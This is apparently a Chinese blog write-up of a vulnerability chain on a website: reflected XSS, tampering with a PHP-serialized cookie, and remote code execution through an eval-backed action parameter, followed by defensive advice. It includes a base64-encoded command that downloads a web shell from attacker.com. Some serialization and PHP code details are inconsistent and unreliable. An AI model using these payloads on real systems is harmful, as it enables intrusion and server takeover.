bc从注册到RCE
字数 1388 2025-08-19 12:41:58
PHP反序列化到RCE漏洞分析与利用
漏洞概述
本文详细分析了一个从反射型XSS发现开始,逐步深入挖掘出PHP反序列化漏洞和远程代码执行(RCE)漏洞的过程。该漏洞链展示了如何通过系统性的测试方法,从一个看似无害的XSS漏洞入手,最终获取服务器完全控制权限。
漏洞发现过程
1. 初始发现:反射型XSS
首先在目标网站发现了一个反射型XSS漏洞,位于comefrom参数中。这类参数通常是XSS的高发点。
2. PHP反序列化漏洞分析
2.1 Cookie结构分析
注册账号后发现__user Cookie值经过URL解码后显示为PHP序列化格式:
O:14:"User":4:{s:8:"Nickname";s:5:"test1";s:2:"Id";s:5:"19632";s:4:"Hash";s:32:"e10adc3949ba59abbe56e057f20f883e";s:8:"Username";s:5:"test1";}
PHP序列化格式解析:
O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;}
2.2 反序列化尝试
尝试修改序列化数据中的ID字段:
- 原始:
O:14:s:8:"11111111" - 修改后:
O:10:s:8:"4444"
发现修改后无法获取值,表明系统有校验机制。
2.3 校验机制分析
发现两个可能的校验点:
__uniqueId:32位值,疑似MD5Hash字段:也是32位,名称更可疑
最终确认系统校验的是Hash字段(通过查看源码确认)。
3. 远程代码执行(RCE)漏洞
3.1 发现危险功能
在注册请求中发现action参数,测试发现可直接执行PHP代码:
POST /register.php
action=phpinfo
响应中返回了phpinfo()的执行结果,确认存在代码执行漏洞。
3.2 代码执行分析
推测后端代码实现类似:
eval($_POST['action']+"()");
初始限制:
- 只能执行无参函数(因为自动添加了括号)
- 存在字符过滤:
'"\/+-*,和空格都被过滤
3.3 绕过限制技术
-
使用无参函数探测环境:
get_included_files()get_defined_functions()
-
发现可以执行带参函数(通过
var_dump确认) -
空格绕过尝试:
- 常见CTF空格绕过字符(
${IFS},<,>,%09)大多被过滤 %09被拦截(%2509也被拦截)
- 常见CTF空格绕过字符(
-
最终利用方案:
- 通过
get_defined_functions()查看可用函数 - 使用
system(base64_decode("命令base64"))绕过空格限制
- 通过
漏洞利用步骤
反序列化利用
- 获取合法用户的Cookie
- 分析
__user结构 - 修改关键字段(如ID)
- 确保
Hash校验通过(或暴力破解)
RCE利用
-
发现
action参数 -
测试直接代码执行:
POST /register.php action=phpinfo -
执行系统命令:
POST /register.php action=system(base64_decode("Y2QgL3RtcCAmJiB3Z2V0IGh0dHA6Ly9hdHRhY2tlci5jb20vc2hlbGwucGhwIC1PIC90bXAvc2hlbGwucGhw"))
防御建议
-
反序列化防御:
- 避免反序列化用户可控数据
- 使用签名验证序列化数据完整性
- 实现严格的类型检查
-
RCE防御:
- 禁止使用
eval()执行用户输入 - 实现严格的输入过滤
- 使用白名单限制可执行函数
- 禁止使用
-
系统加固:
- 禁用危险函数(
system,exec,passthru等) - 实施最小权限原则
- 定期安全审计
- 禁用危险函数(
总结
这个漏洞链展示了从低危漏洞到高危漏洞的完整挖掘过程,强调了系统性测试的重要性。开发人员应避免直接执行用户输入,并谨慎处理序列化数据。安全研究人员则应关注所有用户可控输入点,不放过任何可疑行为。